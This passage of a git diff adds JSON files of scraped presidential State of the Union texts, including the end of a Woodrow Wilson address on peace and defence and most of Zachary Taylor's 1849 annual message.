great conceptions and desires which gave birth to\nthis Government and which have made the voice of this people a voice of\npeace and hope and liberty among the peoples of the world, and that,\nspeaking my own thoughts, I shall, at least in part, speak theirs also,\nhowever faintly and inadequately, upon this vital matter.We are at peace with all the world. No one who speaks counsel based on fact\nor drawn from a just and candid interpretation of realities can say that\nthere is reason to fear that from any quarter our independence or the\nintegrity of our territory is threatened. Dread of the power of any other\nnation we are incapable of. We are not jealous of rivalry in the fields of\ncommerce or of any other peaceful achievement. We mean to live our own\nlives as we will; but we mean also to let live. We are, indeed, a true\nfriend to all the nations of the world, because we threaten none, covet the\npossessions of none, desire the overthrow of none. Our friendship can be\naccepted and is accepted without reservation, because it is offered in a\nspirit and for a purpose which no one need ever question or suspect.\nTherein lies our greatness. We are the champions of peace and of concord.\nAnd we should be very jealous of this distinction which we have sought to\nearn. Just now we should be particularly jealous of it because it is our\ndearest present hope that this character and reputation may presently, in\nGod's providence, bring us an opportunity such as has seldom been\nvouchsafed any nation, the opportunity to counsel and obtain peace in the\nworld and reconciliation and a healing settlement of many a matter that has\ncooled and interrupted the friendship of nations. This is the time above\nall others when we should wish and resolve to keep our strength by\nself-possession, our influence by preserving our ancient principles of\naction.From the first we have had a clear and settled policy with regard to\nmilitary establishments. We never have had, and while we retain our present\nprinciples and ideals we never shall have, a large standing army. If asked,\nAre you ready to defend yourselves? we reply, Most assuredly, to the\nutmost; and yet we shall not turn America into a military camp. We will not\nask our young men to spend the best years of their lives making soldiers of\nthemselves. There is another sort of energy in us. It will know how to\ndeclare itself and make itself effective should occasion arise. And\nespecially when half the world is on fire we shall be careful to make our\nmoral insurance against the spread of the conflagration very definite and\ncertain and adequate indeed.Let us remind ourselves, therefore, of the only thing we can do or will do.\nWe must depend in every time of national peril, in the future as in the\npast, not upon a standing army, nor yet upon a reserve army, but upon a\ncitizenry trained and accustomed to arms. It will be right enough, right\nAmerican policy, based upon our accustomed principles and practices, to\nprovide a system by which every citizen who will volunteer for the training\nmay be made familiar with the use of modern arms, the rudiments of drill\nand maneuver, and the maintenance and sanitation of camps. We should\nencourage such training and make it a means of discipline which our young\nmen will learn to value. It is right that we should provide it not only,\nbut that we should make it as attractive as possible, and so induce our\nyoung men to undergo it at such times as they can command a little freedom\nand can seek the physical development they need, for mere health's sake, if\nfor nothing more. Every means by which such things can be stimulated is\nlegitimate, and such a method smacks of true American ideas. It is right,\ntoo, that the National Guard of the States should be developed and\nstrengthened by every means which is not inconsistent with our obligations\nto our own people or with the established policy of our Government. And\nthis, also, not because the time or occasion specially calls for such\nmeasures, but because it should be our constant policy to make these\nprovisions for our national peace and safety.More than this carries with it a reversal of the whole history and\ncharacter of our polity. More than this, proposed at this time, permit me\nto say, would mean merely that we had lost our self-possession, that we had\nbeen thrown off our balance by a war with which we have nothing to do,\nwhose causes can not touch us, whose very existence affords us\nopportunities of friendship and disinterested service which should make us\nashamed of any thought of hostility or fearful preparation for trouble.\nThis is assuredly the opportunity for which a people and a government like\nours were raised up, the opportunity not only to speak but actually to\nembody and exemplify the counsels of peace and amity and the lasting\nconcord which is based on justice and fair and generous dealing.A powerful navy we have always regarded as our proper and natural means of\ndefense, and it has always been of defense that we have thought, never of\naggression or of conquest. But who shall tell us now what sort of navy to\nbuild? We shall take leave to be strong upon the seas, in the future as in\nthe past; and there will be no thought of offense or of provocation in\nthat. Our ships are our natural bulwarks. When will the experts tell us\njust what kind we should construct-and when will they be right for ten\nyears together, if the relative efficiency of craft of different kinds and\nuses continues to change as we have seen it change under our very eyes in\nthese last few months?But I turn away from the subject. It is not new. There is no new need to\ndiscuss it. We shall not alter our attitude toward it because some amongst\nus are nervous and excited. We shall easily and sensibly agree upon a\npolicy of defense. The question has not changed its aspects because the\ntimes are not normal. Our policy will not be for an occasion. It will be\nconceived as a permanent and settled thing, which we will pursue at all\nseasons, without haste and after a fashion perfectly consistent with the\npeace of the world, the abiding friendship of states, and the unhampered\nfreedom of all with whom we deal. Let there be no misconception. The\ncountry has been misinformed. We have not been negligent of national\ndefense. We are not unmindful of the great responsibility resting upon us.\nWe shall learn and profit by the lesson of every experience and every new\ncircumstance; and what is needed will be adequately done.I close, as I began, by reminding you of the great tasks and duties of\npeace which challenge our best powers and invite us to build what will\nlast, the tasks to which we can address ourselves now and at all times with\nfree-hearted zest and with all the finest gifts of constructive wisdom we\npossess. To develop our life and our resources; to supply our own people,\nand the people of the world as their need arises, from the abundant plenty\nof our fields and our marts of trade to enrich the commerce of our own\nStates and of the world with the products of our mines, our farms, and our\nfactories, with the creations of our thought and the fruits of our\ncharacter,-this is what will hold our attention and our enthusiasm\nsteadily, now and in the years to come, as we strive to show in our life as\na nation what liberty and the inspirations of an emancipated spirit may do\nfor men and for societies, for individuals, for states, and for mankind.", 
+    "name": "Woodrow Wilson"
+}
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diff --git a/pyscrapper/stateofunion/ScrapedData/Zachary TaylorDecember 4, 1849.json b/pyscrapper/stateofunion/ScrapedData/Zachary TaylorDecember 4, 1849.json
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+{
+    "date": "December 4, 1849", 
+    "speech": "Fellow-Citizens of the Senate and House of Representatives:Sixty years have elapsed since the establishment of this Government, and\nthe Congress of the United States again assembles to legislate for an\nempire of freemen. The predictions of evil prophets, who formerly pretended\nto foretell the downfall of our institutions, are now remembered only to be\nderided, and the United States of America at this moment present to the\nworld the most stable and permanent Government on earth.Such is the result of the labors of those who have gone before us. Upon\nCongress will eminently depend the future maintenance of our system of free\ngovernment and the transmission of it unimpaired to posterity.We are at peace with all the other nations of the world, and seek to\nmaintain our cherished relations of amity with them. During the past year\nwe have been blessed by a kind Providence with an abundance of the fruits\nof the earth, and although the destroying angel for a time visited\nextensive portions of our territory with the ravages of a dreadful\npestilence, yet the Almighty has at length deigned to stay his hand and to\nrestore the inestimable blessing of general health to a people who have\nacknowledged His power, deprecated His wrath, and implored His merciful\nprotection.While enjoying the benefits of amicable intercourse with foreign nations,\nwe have not been insensible to the distractions and wars which have\nprevailed in other quarters of the world. It is a proper theme of\nthanksgiving to Him who rules the destinies of nations that we have been\nable to maintain amidst all these contests an independent and neutral\nposition toward all belligerent powers.Our relations with Great Britain are of the most friendly character. In\nconsequence of the recent alteration of the British navigation acts,\nBritish vessels, from British and other foreign ports, will under our\nexisting laws, after the 1st day of January next, be admitted to entry in\nour ports with cargoes of the growth, manufacture, or production of any\npart of the world on the same terms as to duties, imposts, and charges as\nvessels of the United States with their cargoes, and our vessels will be\nadmitted to the same advantages in British ports, entering therein on the\nsame terms as British vessels. Should no order in council disturb this\nlegislative arrangement, the late act of the British Parliament, by which\nGreat Britain is brought within the terms proposed by the act of Congress\nof the 1st of March, 1817, it is hoped will be productive of benefit to\nboth countries.A slight interruption of diplomatic intercourse which occurred between this\nGovernment and France, I am happy to say, has been terminated, and our\nminister there has been received. It is therefore unnecessary to refer now\nto the circumstances which led to that interruption. I need not express to\nyou the sincere satisfaction with which we shall welcome the arrival of\nanother envoy extraordinary and minister plenipotentiary from a sister\nRepublic to which we have so long been, and still remain, bound by the\nstrongest ties of amity.Shortly after I had entered upon the discharge of the Executive duties I\nwas apprised that a war steamer belonging to the German Empire was being\nfitted out in the harbor of New York with the aid of some of our naval\nofficers, rendered under the permission of the late Secretary of the Navy.\nThis permission was granted during an armistice between that Empire and the\nKingdom of Denmark, which had been engaged in the Schleswig-Holstein war.\nApprehensive that this act of intervention on our part might be viewed as a\nviolation of our neutral obligations incurred by the treaty with Denmark\nand of the provisions of the act of Congress of the 20th of April, 1818, I\ndirected that no further aid should be rendered by any agent or officer of\nthe Navy; and I instructed the Secretary of State to apprise the minister\nof the German Empire accredited to this Government of my determination to\nexecute the law of the United States and to maintain the faith of treaties\nwith all nations. The correspondence which ensued between the Department of\nState and the minister of the German Empire is herewith laid before you.\nThe execution of the law and the observance of the treaty were deemed by me\nto be due to the honor of the country, as well as to the sacred obligations\nof the Constitution. I shall not fail to pursue the same course should a\nsimilar case arise with any other nation. Having avowed the opinion on\ntaking the oath of office that in disputes between conflicting foreign\ngovernments it is our interest not less than our duty to remain strictly\nneutral, I shall not abandon it. You will perceive from the correspondence\nsubmitted to you in connection with this subject that the course adopted in\nthis case has been properly regarded by the belligerent powers interested\nin the matter.Although a minister of the United States to the German Empire was appointed\nby my predecessor in August, 1848, and has for a long time been in\nattendance at Frankfort-on-the-Main, and although a minister appointed to\nrepresent that Empire was received and accredited here, yet no such\ngovernment as that of the German Empire has been definitively constituted.\nMr. Donelson, our representative at Frankfort, remained there several\nmonths in the expectation that a union of the German States under one\nconstitution or form of government might at length be organized. It is\nbelieved by those well acquainted with the existing relations between\nPrussia and the States of Germany that no such union can be permanently\nestablished without her cooperation. In the event of the formation of such\na union and the organization of a central power in Germany of which she\nshould form a part, it would become necessary to withdraw our minister at\nBerlin; but while Prussia exists as an independent kingdom and diplomatic\nrelations are maintained with her there can be no necessity for the\ncontinuance of the mission to Frankfort. I have therefore recalled Mr.\nDonelson and directed the archives of the legation at Frankfort to be\ntransferred to the American legation at Berlin.Having been apprised that a considerable number of adventurers were engaged\nin fitting out a, military expedition within the United States against a\nforeign country, and believing from the best information I could obtain\nthat it was destined to invade the island of Cuba, I deemed it due to the\nfriendly relations existing between the United States and Spain, to the\ntreaty between the two nations, to the laws of the United States, and,\nabove all, to the American honor to exert the lawful authority of this\nGovernment in suppressing the expedition and preventing the invasion. To\nthis end I issued a proclamation enjoining it upon the officers of the\nUnited States, civil and military, to use all lawful means within their\npower. A copy of that proclamation is herewith submitted. The expedition\nhas been suppressed. So long as the act of Congress of the 20th of April,\n1818, which owes its existence to the law of nations and to the policy of\nWashington himself, shall remain on our statute books, I hold it to be the\nduty of the Executive faithfully to obey its injunctions.While this expedition was in progress I was informed that a foreigner who\nclaimed our protection had been clandestinely and, as was supposed,\nforcibly carried off in a vessel from New Orleans to the island of Cuba. I\nimmediately caused such steps to be taken as I thought necessary, in case\nthe information I had received should prove correct, to vindicate the honor\nof the country and the right of every person seeking an asylum on our soil\nto the protection of our laws. The person alleged to have been abducted was\npromptly restored, and the circumstances of the case are now about to\nundergo investigation before a judicial tribunal. I would respectfully\nsuggest that although the crime charged to have been committed in this case\nis held odious, as being in conflict with our opinions on the subject of\nnational sovereignty and personal freedom, there is no prohibition of it or\npunishment for it provided in any act of Congress. The expediency of\nsupplying this defect in our criminal code is therefore recommended to your\nconsideration.I have scrupulously avoided any interference in the wars and contentions\nwhich have recently distracted Europe. During the late conflict between\nAustria and Hungary there seemed to be a prospect that the latter might\nbecome an independent nation. However faint that prospect at the time\nappeared, I thought it my duty, in accordance with the general sentiment of\nthe American people, who deeply sympathized with the Magyar patriots, to\nstand prepared, upon the contingency of the establishment by her of a\npermanent government, to be the first to welcome independent Hungary into\nthe family of nations. For this purpose I invested an agent then in Europe\nwith power to declare our willingness promptly to recognize her\nindependence in the event of her ability to sustain it. The powerful\nintervention of Russia in the contest extinguished the hopes of the\nstruggling Magyars. The United States did not at any time interfere in the\ncontest, but the feelings of the nation were strongly enlisted in the\ncause, and by the sufferings of a brave people, who had made a gallant,\nthough unsuccessful, effort to be free.Our claims upon Portugal have been during the past year prosecuted with\nrenewed vigor, and it has been my object to employ every effort of\nhonorable diplomacy to procure their adjustment. Our late charge d'affaires\nat Lisbon, the Hon. George W. Hopkins, made able and energetic, but\nunsuccessful, efforts to settle these unpleasant matters of controversy and\nto obtain indemnity for the wrongs which were the subjects of complaint.\nOur present charge d'affaires at that Court will also bring to the\nprosecution of these claims ability and zeal. The revolutionary and\ndistracted condition of Portugal in past times has been represented as one\nof the leading causes of her delay in indemnifying our suffering citizens.\nBut I must now say it is matter of profound regret that these claims have\nnot yet been settled. The omission of Portugal to do justice to the\nAmerican claimants has now assumed a character so grave and serious that I\nshall shortly make it the subject of a special message to Congress, with a\nview to such ultimate action as its wisdom and patriotism may suggest.With Russia, Austria, Prussia, Sweden, Denmark, Belgium, the Netherlands,\nand the Italian States we still maintain our accustomed amicable\nrelations.During the recent revolutions in the Papal States our charge d'affaires at\nRome has been unable to present his letter of credence, which, indeed, he\nwas directed by my predecessor to withhold until he should receive further\norders. Such was the unsettled condition of things in those States that it\nwas not deemed expedient to give him any instructions on the subject of\npresenting his credential letter different from those with which he had\nbeen furnished by the late Administration until the 25th of June last,\nwhen, in consequence of the want of accurate information of the exact state\nof things at that distance from us, he was instructed to exercise his own\ndiscretion in presenting himself to the then existing Government if in his\njudgment sufficiently stable, or, if not, to await further events. Since\nthat period Rome has undergone another revolution, and he abides the\nestablishment of a government sufficiently permanent to justify him in\nopening diplomatic intercourse with it.With the Republic of Mexico it is our true policy to cultivate the most\nfriendly relations. Since the ratification of the treaty of Guadalupe\nHidalgo nothing has occurred of a serious character to disturb them. A\nfaithful observance of the treaty and a sincere respect for her rights can\nnot fail to secure the lasting confidence and friendship of that Republic.\nThe message of my predecessor to the House of Representatives of the 8th of\nFebruary last, communicating, in compliance with a resolution of that body,\na copy of a paper called a protocol, signed at Queretaro on the 30th of\nMay, 1848, by the commissioners of the United States and the minister of\nforeign affairs of the Mexican Government, having been a subject of\ncorrespondence between the Department of State and the envoy extraordinary\nand minister plenipotentiary of that Republic accredited to this\nGovernment, a transcript of that correspondence is herewith submitted.The commissioner on the part of the United States for marking the boundary\nbetween the two Republics, though delayed in reaching San Diego by\nunforeseen obstacles, arrived at that place within a short period after the\ntime required by the treaty, and was there joined by the commissioner on\nthe part of Mexico. They entered upon their duties, and at the date of the\nlatest intelligence from that quarter some progress had been made in the\nsurvey. The expenses incident to the organization of the commission and to\nits conveyance to the point where its operations were to begin have so much\nreduced the fund appropriated by Congress that a further sum, to cover the\ncharges which must be incurred during the present fiscal year, will be\nnecessary. The great length of frontier along which the boundary extends,\nthe nature of the adjacent territory, and the difficulty of obtaining\nsupplies except at or near the extremes of the line render it also\nindispensable that a liberal provision should be made to meet the necessary\ncharges during the fiscal year ending on the 30th of June, 1851. I\naccordingly recommend this subject to your attention.In the adjustment of the claims of American citizens on Mexico, provided\nfor by the late treaty, the employment of counsel on the part of the\nGovernment may become important for the purpose of assisting the\ncommissioners in protecting the interests of the United States. I recommend\nthis subject to the early and favorable consideration of Congress.Complaints have been made in regard to the inefficiency of the means\nprovided by the Government of New Granada for transporting the United\nStates mail across the Isthmus of Panama, pursuant to our postal convention\nwith that Republic of the 6th of March, 1844. Our charge d'affaires at\nBogota has been directed to make such representations to the Government of\nNew Granada as will, it is hoped, lead to a prompt removal of this cause of\ncomplaint.The sanguinary civil war with which the Republic of Venezuela has for some\ntime past been ravaged has been brought to a close. In its progress the\nrights of some of our citizens resident or trading there have been\nviolated. The restoration of order will afford the Venezuelan Government an\nopportunity to examine and redress these grievances and others of longer\nstanding which our representatives at Caracas have hitherto ineffectually\nurged upon the attention of that Government.The extension of the coast of the United States on the Pacific and the\nunexampled rapidity with which the inhabitants of California especially are\nincreasing in numbers have imparted new consequence to our relations with\nthe other countries whose territories border upon that ocean. It is\nprobable that the intercourse between those countries and our possessions\nin that quarter, particularly with the Republic of Chili, will become\nextensive and mutually advantageous in proportion as California and Oregon\nshall increase in population and wealth. It is desirable, therefore, that\nthis Government should do everything in its power to foster and strengthen\nits relations with those States, and that the spirit of amity between us\nshould be mutual and cordial.I recommend the observance of the same course toward all other American\nStates. The United States stand as the great American power, to which, as\ntheir natural ally and friend, they will always be disposed first to look\nfor mediation and assistance in the event of any collision between them and\nany European nation. As such we may often kindly mediate in their behalf\nwithout entangling ourselves in foreign wars or unnecessary controversies.\nWhenever the faith of our treaties with any of them shall require our\ninterference, we must necessarily interpose.A convention has been negotiated with Brazil providing for the satisfaction\nof American claims on that Government, and it will be submitted to the\nSenate. Since the last session of Congress we have received an envoy\nextraordinary and minister plenipotentiary from that Empire, and our\nrelations with it are rounded upon the most amicable understanding.Your attention is earnestly invited to an amendment of our existing laws\nrelating to the African slave trade with a view to the effectual\nsuppression of that barbarous traffic. It is not to be denied that this\ntrade is still in part carried on by means of vessels built in the United\nStates and owned or navigated by some of our citizens. The correspondence\nbetween the Department of State and the minister and consul of the United\nStates at Rio de Janeiro, which has from time to time been laid before\nCongress, represents that it is a customary device to evade the penalties\nof our laws by means of sea letters. Vessels sold in Brazil, when provided\nwith such papers by the consul, instead of returning to the United States\nfor a new register proceed at once to the coast of Africa for the purpose\nof obtaining cargoes of slaves. Much additional information of the same\ncharacter has recently been transmitted to the Department of State. It has\nnot been considered the policy of our laws to subject an American citizen\nwho in a foreign country purchases a vessel built in the United States to\nthe inconvenience of sending her home for a new register before permitting\nher to proceed on a voyage. Any alteration of the laws which might have a\ntendency to impede the free transfer of property in vessels between our\ncitizens, or the free navigation of those vessels between different parts\nof the world when employed in lawful commerce, should be well and\ncautiously considered; but I trust that your wisdom will devise a method by\nwhich our general policy in this respect may be preserved, and at the same\ntime the abuse of our flag by means of sea letters, in the manner\nindicated, may be prevented.Having ascertained that there is no prospect of the reunion of the five\nStates of Central America which formerly composed the Republic of that\nname, we have separately negotiated with some of them treaties of amity and\ncommerce, which will be laid before the Senate.A contract having been concluded with the State of Nicaragua by a company\ncomposed of American citizens for the purpose of constructing a ship canal\nthrough the territory of that State to connect the Atlantic and Pacific\noceans, I have directed the negotiation of a treaty with Nicaragua pledging\nboth Governments to protect those who shall engage in and perfect the work.\nAll other nations are invited by the State of Nicaragua to enter into the\nsame treaty stipulations with her; and the benefit to be derived by each\nfrom such an arrangement will be the protection of this great interoceanic\ncommunication against any power which might seek to obstruct it or to\nmonopolize its advantages. All States entering into such a treaty will\nenjoy the right of passage through the canal on payment of the same tolls.\nThe work, if constructed under these guaranties, will become a bond of\npeace instead of a subject of contention and strife between the nations of\nthe earth. Should the great maritime States of Europe consent to this\narrangement (and we have no reason to suppose that a proposition so fair\nand honorable will be opposed by any), the energies of their people and\nours will cooperate in promoting the success of the enterprise. I do not\nrecommend any appropriation from the National Treasury for this purpose,\nnor do I believe that such an appropriation is necessary. Private\nenterprise, if properly protected, will complete the work should it prove\nto be feasible. The parties who have procured the charter from Nicaragua\nfor its construction desire no assistance from this Government beyond its\nprotection; and they profess that, having examined the proposed line of\ncommunication, they will be ready to commence the undertaking whenever that\nprotection shall be extended to them. Should there appear to be reason, on\nexamining the whole evidence, to entertain a serious doubt of the\npracticability of constructing such a canal, that doubt could be speedily\nsolved by an actual exploration of the route.Should such a work be constructed under the common protection of all\nnations, for equal benefits to all, it would be neither just nor expedient\nthat any great maritime state should command the communication. The\nterritory through which the canal may be opened ought to be freed from the\nclaims of any foreign power. No such power should occupy a position that\nwould enable it hereafter to exercise so controlling an influence over the\ncommerce of the world or to obstruct a highway which ought to be dedicated\nto the common uses of mankind.The routes across the Isthmus at Tehuantepec and Panama are also worthy of\nour serious consideration.. They did not fail to engage the attention of my\npredecessor. The negotiator of the treaty of Guadalupe Hidalgo was\ninstructed to offer a very large sum of money for the right of transit\nacross the Isthmus of Tehuantepec. The Mexican Government did not accede to\nthe proposition for the purchase of the right of way, probably because it\nhad already contracted with private individuals for the construction of a\npassage from the Guasacualco River to Tehuantepec. I shall not renew any\nproposition to purchase for money a right which ought to be equally secured\nto all nations on payment of a reasonable toll to the owners of the\nimprovement, who would doubtless be well contented with that compensation\nand the guaranties of the maritime states of the world in separate treaties\nnegotiated with Mexico, binding her and them to protect those who should\nconstruct the work. Such guaranties would do more to secure the completion\nof the communication through the territory of Mexico than any other\nreasonable consideration that could be offered; and as Mexico herself would\nbe the greatest gainer by the opening of this communication between the\nGulf and the Pacific Ocean, it is presumed that she would not hesitate to\nyield her aid in the manner proposed to accomplish an improvement so\nimportant to her own best interests.We have reason to hope that the proposed railroad across the Isthmus at\nPanama will be successfully constructed under the protection of the late\ntreaty with New Granada, ratified and exchanged by my predecessor on the\n10th day of June, 1848, which guarantees the perfect neutrality of the\nIsthmus and the rights of sovereignty and property of New Granada over that\nterritory, \"with a view that the free transit from ocean to ocean may not\nbe interrupted or embarrassed\" during the existence of the treaty. It is\nour policy to encourage every practicable route across the isthmus which\nconnects North and South America, either by railroad or canal, which the\nenergy and enterprise of our citizens may induce them to complete, and I\nconsider it obligatory upon me to adopt that policy, especially in\nconsequence of the absolute necessity of facilitating intercourse with our\npossessions on the Pacific.The position of the Sandwich Islands with reference to the territory of the\nUnited States on the Pacific, the success of our persevering and benevolent\ncitizens who have repaired to that remote quarter in Christianizing the\nnatives and inducing them to adopt a system of government and laws suited\nto their capacity and wants, and the use made by our numerous whale ships\nof the harbors of the islands as places of resort for obtaining\nrefreshments and repairs all combine to render their destiny peculiarly\ninteresting to us. It is our duty to encourage the authorities of those\nislands in their efforts to improve and elevate the moral and political\ncondition of the inhabitants, and we should make reasonable allowances for\nthe difficulties inseparable from this task. We desire that the islands may\nmaintain their independence and that other nations should concur with us in\nthis sentiment. We could in no event be indifferent to their passing under\nthe dominion of any other power. The principal commercial states have in\nthis a common interest, and it is to be hoped that no one of them will\nattempt to interpose obstacles to the entire independence of the islands.The receipts into the Treasury for the fiscal year ending on the 30th of\nJune last were, in cash, $48,830,097.50, and in Treasury notes funded\n$10,833,000, making an aggregate of $59,663,097.50; and the expenditures\nfor the same time were, in cash, $46,798,667.82, and in Treasury notes\nfunded $10,833,000, making an aggregate of $57,631,667.82.The accounts and estimates which will be submitted to Congress in the\nreport of the Secretary of the Treasury show that there will probably be a\ndeficit occasioned by the expenses of the Mexican War and treaty on the 1st\nday of July next of $5,828,121.66, and on the 1st day of July, 1851, of\n$10,547,092.73, making in the whole a probable deficit to be provided for\nof $16,375,214.39. The extraordinary expenses of the war with Mexico and\nthe purchase of California and New Mexico exceed in amount this deficit,\ntogether with the loans heretofore made for those objects. I therefore\nrecommend that authority be given to borrow what ever sum may be necessary\nto cover that deficit. I recommend the observance of strict economy in the\nappropriation and expenditure of public money.I recommend a revision of the existing tariff and its adjustment on a basis\nwhich may augment the revenue. I do not doubt the right or duty of Congress\nto encourage domestic industry, which is the great source of national as\nwell as individual wealth and prosperity. I look to the wisdom and\npatriotism of Congress for the adoption of a system which may place home\nlabor at last on a sure and permanent footing and by due encouragement of\nmanufactures give a new and increased stimulus to agriculture and promote\nthe development of our vast resources and the extension of our commerce.\nBelieving that to the attainment of these ends, as well as the necessary\naugmentation of the revenue and the prevention of frauds, a system of\nspecific duties is best adapted, I strongly recommend to Congress the\nadoption of that system, fixing the duties at rates high enough to afford\nsubstantial and sufficient encouragement to our own industry and at the\nsame time so adjusted as to insure stability.The question of the continuance of the subtreasury system is respectfully\nsubmitted to the wisdom of Congress. If continued, important modifications\nof it appear to be indispensable.For further details and views on the above and other matters connected with\ncommerce, the finances, and revenue I refer to the report of the Secretary\nof the Treasury.No direct aid has been given by the General Government to the improvement\nof agriculture except by the expenditure of small sums for the collection\nand publication of agricultural statistics and for some chemical analyses,\nwhich have been thus far paid for out of the patent fund. This aid is, in\nmy opinion, wholly inadequate. To give to this leading branch of American\nindustry the encouragement which it merits, I respectfully recommend the\nestablishment of an agricultural bureau, to be connected with the\nDepartment of the Interior. To elevate the social condition of the\nagriculturist, to increase his prosperity, and to extend his means of\nusefulness to his country, by multiplying his sources of information,\nshould be the study of every statesman and a primary object with every\nlegislator.No civil government having been provided by Congress for California, the\npeople of that Territory, impelled by the necessities of their political\ncondition, recently met in convention for the purpose of forming a\nconstitution and State government, which the latest advices give me reason\nto suppose has been accomplished; and it is believed they will shortly\napply for the admission of California into the Union as a sovereign State.\nShould such be the case, and should their constitution be conformable to\nthe requisitions of the Constitution of the United States, I recommend\ntheir application to the favorable consideration of Congress. The people of\nNew Mexico will also, it is believed, at no very distant period present\nthemselves for admission into the Union. Preparatory to the admission of\nCalifornia and New Mexico the people of each will have instituted for\nthemselves a republican form of government, \"laying its foundation in such\nprinciples and organizing its powers in such form as to them shall seem\nmost likely to effect their safety and happiness.\" By awaiting their action\nall causes of uneasiness may be avoided and confidence and kind feeling\npreserved. With a view of maintaining the harmony and tranquillity so dear\nto all, we should abstain from the introduction of those exciting topics of\na sectional character which have hitherto produced painful apprehensions in\nthe public mind; and I repeat the solemn warning of the first and most\nillustrious of my predecessors against furnishing \"any ground for\ncharacterizing parties by geographical discriminations.\"A collector has been appointed at San Francisco under the act of Congress\nextending the revenue laws over California, and measures have been taken to\norganize the custom-houses at that and the other ports mentioned in that\nact at the earliest period practicable. The collector proceeded overland,\nand advices have not yet been received of his arrival at San Francisco.\nMeanwhile, it is understood that the customs have continued to be collected\nthere by officers acting under the military authority, as they were during\nthe Administration of my predecessor. It will, I think, be expedient to\nconfirm the collections thus made, and direct the avails (after such\nallowances as Congress may think fit to authorize) to be expended within\nthe Territory or to be paid into the Treasury for the purpose of meeting\nappropriations for the improvement of its rivers and harbors.A party engaged on the coast survey was dispatched to Oregon in January\nlast. According to the latest advices, they had not left California; and\ndirections have been given to them, as soon as they shall have fixed on the\nsites of the two light-houses and the buoys authorized to be constructed\nand placed in Oregon, to proceed without delay to make reconnaissance of\nthe most important points on the coast of California, and especially to\nexamine and determine on sites for light-houses on that coast, the speedy\nerection of which is urgently demanded by our rapidly increasing commerce.I have transferred the Indian agencies from upper Missouri and Council\nBluffs to Santa Fe and Salt Lake, and have caused to be appointed subagents\nin the valleys of the Gila, the Sacramento, and the San Joaquin rivers.\nStill further legal provisions will be necessary for the effective and\nsuccessful extension of our system of Indian intercourse over the new\nterritories.I recommend the establishment of a branch mint in California, as it will,\nin my opinion, afford important facilities to those engaged in mining, as\nwell as to the Government in the disposition of the mineral lands.I also recommend that commissions be organized by Congress to examine and\ndecide upon the validity of the present subsisting land titles in\nCalifornia and New Mexico, and that provision be made for the establishment\nof offices of surveyor-general in New Mexico, California, and Oregon and\nfor the surveying and bringing into market the public lands in those\nTerritories. Those lands, remote in position and difficult of access, ought\nto be disposed of on terms liberal to all, but especially favorable to the\nearly emigrants.In order that the situation and character of the principal mineral deposits\nin California may be ascertained, I recommend that a geological and\nmineralogical exploration be connected with the linear surveys, and that\nthe mineral lands be divided into small lots suitable for mining and be\ndisposed of by sale or lease, so as to give our citizens an opportunity of\nprocuring a permanent right of property in the soil. This would seem to be\nas important to the success of mining as of agricultural pursuits.The great mineral wealth of California and the advantages which its ports\nand harbors and those of Oregon afford to commerce, especially with the\nislands of the Pacific and Indian oceans and the populous regions of\neastern Asia, make it certain that there will arise in a few years large\nand prosperous communities on our western coast. It therefore becomes\nimportant that a line of communication, the best and most expeditious which\nthe nature of the country will admit, should be opened within the territory\nof the United States from the navigable waters of the Atlantic or the Gulf\nof Mexico to the Pacific. Opinion, as elicited and expressed by two large\nand respectable conventions lately assembled at St. Louis and Memphis,\npoints to a railroad as that which, if practicable, will best meet the\nwishes and wants of the country. But while this, if in successful\noperation, would be a work of great national importance and of a value to\nthe country which it would be difficult to estimate, it ought also to be\nregarded as an undertaking of vast magnitude and expense, and one which\nmust, if it be indeed practicable, encounter many difficulties in its\nconstruction and use. Therefore, to avoid failure and disappointment; to\nenable Congress to judge whether in the condition of the country through\nwhich it must pass the work be feasible, and, if it be found so, whether it\nshould be undertaken as a national improvement or left to individual\nenterprise, and in the latter alternative what aid, if any, ought to be\nextended to it by the Government, I recommend as a preliminary measure a\ncareful reconnaissance of the several proposed routes by a scientific corps\nand a report as to the practicability of making such a road, with an\nestimate of the cost of its construction and support.For further views on these and other matters connected with the duties of\nthe home department I refer you to the report of the Secretary of the\nInterior.I recommend early appropriations for continuing the river and harbor\nimprovements which have been already begun, and also for the construction\nof those for which estimates have been made, as well as for examinations\nand estimates preparatory to the commencement of such others as the wants\nof the country, and especially the advance of our population over new\ndistricts and the extension of commerce, may render necessary. An estimate\nof the amount which can be advantageously expended within the next fiscal\nyear under the direction of the Bureau of Topographical Engineers\naccompanies the report of the Secretary of War, to which I respectfully\ninvite the attention of Congress.The cession of territory made by the late treaty with Mexico has greatly\nextended our exposed frontier and rendered its defense more difficult. That\ntreaty has also brought us under obligations to Mexico, to comply with\nwhich a military force is requisite. But our military establishment is not\nmaterially changed as to its efficiency from the condition in which it\nstood before the commencement of the Mexican War. Some addition to it will\ntherefore be necessary, and I recommend to the favorable consideration of\nCongress an increase of the several corps of the Army at our distant\nWestern posts, as proposed in the accompanying report of the Secretary of\nWar.Great embarrassment has resulted from the effect upon rank in the Army\nheretofore given to brevet and staff commissions. The views of the\nSecretary of War on this subject are deemed important, and if carried into\neffect will, it is believed, promote the harmony of the service. The plan\nproposed for retiring disabled officers and providing an asylum for such of\nthe rank and file as from age, wounds, and other infirmities occasioned by\nservice have become unfit to perform their respective duties is recommended\nas a means of increasing the efficiency of the Army and as an act of\njustice due from a grateful country to the faithful soldier.The accompanying report of the Secretary of the Navy presents a full and\nsatisfactory account of the condition and operations of the naval service\nduring the past year. Our citizens engaged in the legitimate pursuits of\ncommerce have enjoyed its benefits. Wherever our national vessels have gone\nthey have been received with respect, our officers have been treated with\nkindness and courtesy, and they have on all occasions pursued a course of\nstrict neutrality, in accordance with the policy of our Government.The naval force at present in commission is as large as is admissible with\nthe number of men authorized by Congress to be employed.I invite your attention to the recommendation of the Secretary of the Navy\non the subject of a reorganization of the Navy in its various grades of\nofficers, and the establishing of a retired list for such of the officers\nas are disqualified for active and effective service. Should Congress adopt\nsome such measure as is recommended, it will greatly increase the\nefficiency of the Navy and reduce its expenditures.I also ask your attention to the views expressed by him in reference to the\nemployment of war steamers and in regard to the contracts for the\ntransportation of the United States mails and the operation of the system\nupon the prosperity of the Navy.By an act of Congress passed August 14, 1848, provision was made for\nextending post-office and mail accommodations to California and Oregon.\nExertions have been made to execute that law, but the limited provisions of\nthe act, the inadequacy of the means it authorizes, the ill adaptation of\nour post-office laws to the situation of that country, and the measure of\ncompensation for services allowed by those laws, compared with the prices\nof labor and rents in California, render those exertions in a great degree\nineffectual. More particular and efficient provision by law is required on\nthis subject.The act of 1845 reducing postage has now, by its operation during four\nyears, produced results fully showing that the income from such reduced\npostage is 